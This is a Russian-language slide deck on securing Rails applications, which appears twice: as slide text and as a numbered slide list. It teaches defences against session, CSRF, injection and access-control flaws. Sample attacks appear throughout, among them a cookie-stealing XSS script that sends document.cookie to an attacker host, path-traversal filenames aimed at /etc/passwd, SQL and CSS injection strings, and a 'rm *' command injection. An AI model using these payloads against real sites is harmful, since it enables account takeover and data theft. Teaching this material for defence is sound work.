Securing
Rails Applications


                     Кириллов
                     Александр
Факты

‣ Нет безопасных фреймворков
‣ 75% атак происходят на уровне приложения.
‣ 97% сайтов уязвимы к атакам.
‣ Разработчик должен «знать» атаки.
Сессии
‣ Добавляют зависимость от предыдущих
  запросов
‣ Имеет идентификатор (id: 32-байт MD5)
‣ Как воровать:
  - перехват в незащищенной сети
  - пользователь «не вышел» из аккаунта
  - XSS
  - подмена идентификатора
Сессии


‣ Не храните большие объекты в сессии
‣ Не храните критические данные в сессии
Хранение сессий

‣ ActiveRecord::SessionStore
‣ ActionDispatch::Session::CookieStore
  - 4kB данных
  - хранить user id - это нормально ))
  - не храните секреты в сессиях
  - в конец куки вставляется дайджест
Атаки
   воспроизведения
1. Получаем кредит (сумма в сессии)
2. Покупаем что-либо
3. Кредит уменьшился и сохранился в
   сессии
4. Берем куки с первого шага
5. Наши деньги снова у нас
Фиксация сессии
Фиксация сессии
‣ Новый идентификатор сессии после
  успешного логина
  reset_session
‣ сохранение специфичных данных в
  сессии
   - ip адрес
   - агент пользователя
   - и т.д.
CSRF
CSRF

‣ типы запросов очень важны!
‣ токен при не-GET запросах
‣ ВАЖНО - XSS обходит все защиты CSRF
Еще до кучи
‣ Перенаправления
  http://www.example.com/site/legacy?param1=xy&param2=23&host=www.attacker.com

‣ Самодостаточный XSS
  data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K

‣ Upload файлов на сервер
  “../../../etc/passwd” - имя файла.

‣ Скачивание файла
  send_file(params[:filename]) #=> {filename: “../../../etc/passwd”}
Админка
‣ XSS
  - достаточно одного места с необработанным выводом пользовательских данных

‣ Распространение спама с XSS
  Админки с открытым кодом

‣ CSRF
  Перенастройка роутера
  http://192.168.1.1/cp06_wifi_m_nocifr.cgi?wlChannel=Auto&wlRadioEnable=on

‣ Режим паранои
  Думай о худшем случае
  Ограничение входа по IP
  Отдельный домен для админки
Массовое назначение

‣ attr_protected
‣ attr_accessible
‣ whitelist_attributes
Пользователи
            и аккаунты
‣ Следите за обновлениями!
  User.find_by_activation_code(params[:id]) #=> первый пользователь

‣ Брутфорсинг аккаунтов
  Не конкретизируйте ошибку
  CAPTCHA

‣ Взлом аккаунтов
  пароли (требуйте старый пароль)
  email (требуйте пароль для изменения)

‣ Логирование
  config.filter_parameters << :password
И еще
‣ Регулярные выражения
  ^ и $, вместо A и z.
  Пример: /^https?://[^n]+$/i
  javascript:exploit_code();/*
  http://hi.com
  */

‣ Права доступа к ресурсам
  Не пытайтесь прятать. Контролируйте!
  @project = Project.find(params[:id]) - плохо
  @project = @current_user.projects.find(params[:id]) - уже лучше

‣ JavaScript используется только для
  проверки, не для предотвращения!
Инъекции
         Белые vs Черные
‣ before_filter :only => […] вместо :except => […]
‣ attr_accessible вместо attr_protected
‣ разрешите <strong> вместо удаления <script>
‣ Только белые списки для пользовательских
  данных
  “<sc<script>ript>”.gsub(“<script>”, "") #=> <script>
Инъекции
                          SQL

‣ Project.where("name = '#{params[:name]}'")
  SELECT * FROM projects WHERE name = '' OR 1 --'
‣ Строки в запросах - плохо
  User.first("login = '#{params[:name]}' AND password = '#{params[:password]}'")
  User.where(:login => entered_user_name, :password => entered_password).first
Инъекции
                             XSS
‣ Точки входа
  - любое поле ввода, предоставленное пользователю - потенциальная дыра.
  - параметры запросов
  - баннерная реклама

‣ Крадем куки
  <script>document.write('<img src="http://www.attacker.com/' + document.cookie + '">');</script>
  в логе:
  GET http://www.attacker.com/_app_session=836c1c25278e5b321d6bea4f19cb57e2

‣ Фильтруйте ввод и вывод
  strip_tags("some<<b>script>alert('hello')<</b>/script>")
  <IMG
  SRC=&amp;#106;&amp;#97;&amp;#118;&amp;#97;&amp;#115;&amp;#99;&amp;#114;&amp;#105;&amp;#112;&amp;#116
  ;&amp;#58;&amp;#97;&amp;#108;&amp;#101;&amp;#114;&amp;#116;&amp;#40;&amp;#39;&amp;#88;&amp;#83;&amp;#
  83;&amp;#39;&amp;#41;>
  только белый список!!!
Инъекции
                    CSS
‣ Та же JS только в CSS
  MySpace Samy worm
  <div style="background:url('javascript:alert(1)')">
  <div id="mycode" expr="alert('hah!')"
  style="background:url('javascript:eval(document.all.mycode.expr)')">

‣ Действительно ли нужно пользователям
  кастомизировать css?
Инъекции
                    россыпью
‣ Textile
  RedCloth.new('<script>alert(1)</script>').to_html
  RedCloth.new('<script>alert(1)</script>', [:filter_html]).to_html

‣ Ajax
  Экранируйте возвращаемые значения

‣ Командная строка
  system("/bin/echo","hello; rm *")
Test your site




https://github.com/Arachni/arachni

Securing Rails Applications

  • 1.
    Securing Rails Applications Кириллов Александр
  • 2.
    Факты ‣ Нет безопасныхфреймворков ‣ 75% атак происходят на уровне приложения. ‣ 97% сайтов уязвимы к атакам. ‣ Разработчик должен «знать» атаки.
  • 3.
    Сессии ‣ Добавляют зависимостьот предыдущих запросов ‣ Имеет идентификатор (id: 32-байт MD5) ‣ Как воровать: - перехват в незащищенной сети - пользователь «не вышел» из аккаунта - XSS - подмена идентификатора
  • 4.
    Сессии ‣ Не хранитебольшие объекты в сессии ‣ Не храните критические данные в сессии
  • 5.
    Хранение сессий ‣ ActiveRecord::SessionStore ‣ActionDispatch::Session::CookieStore - 4kB данных - хранить user id - это нормально )) - не храните секреты в сессиях - в конец куки вставляется дайджест
  • 6.
    Атаки воспроизведения 1. Получаем кредит (сумма в сессии) 2. Покупаем что-либо 3. Кредит уменьшился и сохранился в сессии 4. Берем куки с первого шага 5. Наши деньги снова у нас
  • 7.
  • 8.
    Фиксация сессии ‣ Новыйидентификатор сессии после успешного логина reset_session ‣ сохранение специфичных данных в сессии - ip адрес - агент пользователя - и т.д.
  • 9.
  • 10.
    CSRF ‣ типы запросовочень важны! ‣ токен при не-GET запросах ‣ ВАЖНО - XSS обходит все защиты CSRF
  • 11.
    Еще до кучи ‣Перенаправления http://www.example.com/site/legacy?param1=xy&param2=23&host=www.attacker.com ‣ Самодостаточный XSS data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K ‣ Upload файлов на сервер “../../../etc/passwd” - имя файла. ‣ Скачивание файла send_file(params[:filename]) #=> {filename: “../../../etc/passwd”}
  • 12.
    Админка ‣ XSS - достаточно одного места с необработанным выводом пользовательских данных ‣ Распространение спама с XSS Админки с открытым кодом ‣ CSRF Перенастройка роутера http://192.168.1.1/cp06_wifi_m_nocifr.cgi?wlChannel=Auto&wlRadioEnable=on ‣ Режим паранои Думай о худшем случае Ограничение входа по IP Отдельный домен для админки
  • 13.
    Массовое назначение ‣ attr_protected ‣attr_accessible ‣ whitelist_attributes
  • 14.
    Пользователи и аккаунты ‣ Следите за обновлениями! User.find_by_activation_code(params[:id]) #=> первый пользователь ‣ Брутфорсинг аккаунтов Не конкретизируйте ошибку CAPTCHA ‣ Взлом аккаунтов пароли (требуйте старый пароль) email (требуйте пароль для изменения) ‣ Логирование config.filter_parameters << :password
  • 15.
    И еще ‣ Регулярныевыражения ^ и $, вместо A и z. Пример: /^https?://[^n]+$/i javascript:exploit_code();/* http://hi.com */ ‣ Права доступа к ресурсам Не пытайтесь прятать. Контролируйте! @project = Project.find(params[:id]) - плохо @project = @current_user.projects.find(params[:id]) - уже лучше ‣ JavaScript используется только для проверки, не для предотвращения!
  • 16.
    Инъекции Белые vs Черные ‣ before_filter :only => […] вместо :except => […] ‣ attr_accessible вместо attr_protected ‣ разрешите <strong> вместо удаления <script> ‣ Только белые списки для пользовательских данных “<sc<script>ript>”.gsub(“<script>”, "") #=> <script>
  • 17.
    Инъекции SQL ‣ Project.where("name = '#{params[:name]}'") SELECT * FROM projects WHERE name = '' OR 1 --' ‣ Строки в запросах - плохо User.first("login = '#{params[:name]}' AND password = '#{params[:password]}'") User.where(:login => entered_user_name, :password => entered_password).first
  • 18.
    Инъекции XSS ‣ Точки входа - любое поле ввода, предоставленное пользователю - потенциальная дыра. - параметры запросов - баннерная реклама ‣ Крадем куки <script>document.write('<img src="http://www.attacker.com/' + document.cookie + '">');</script> в логе: GET http://www.attacker.com/_app_session=836c1c25278e5b321d6bea4f19cb57e2 ‣ Фильтруйте ввод и вывод strip_tags("some<<b>script>alert('hello')<</b>/script>") <IMG SRC=&amp;#106;&amp;#97;&amp;#118;&amp;#97;&amp;#115;&amp;#99;&amp;#114;&amp;#105;&amp;#112;&amp;#116 ;&amp;#58;&amp;#97;&amp;#108;&amp;#101;&amp;#114;&amp;#116;&amp;#40;&amp;#39;&amp;#88;&amp;#83;&amp;# 83;&amp;#39;&amp;#41;> только белый список!!!
  • 19.
    Инъекции CSS ‣ Та же JS только в CSS MySpace Samy worm <div style="background:url('javascript:alert(1)')"> <div id="mycode" expr="alert('hah!')" style="background:url('javascript:eval(document.all.mycode.expr)')"> ‣ Действительно ли нужно пользователям кастомизировать css?
  • 20.
    Инъекции россыпью ‣ Textile RedCloth.new('<script>alert(1)</script>').to_html RedCloth.new('<script>alert(1)</script>', [:filter_html]).to_html ‣ Ajax Экранируйте возвращаемые значения ‣ Командная строка system("/bin/echo","hello; rm *")
  • 21.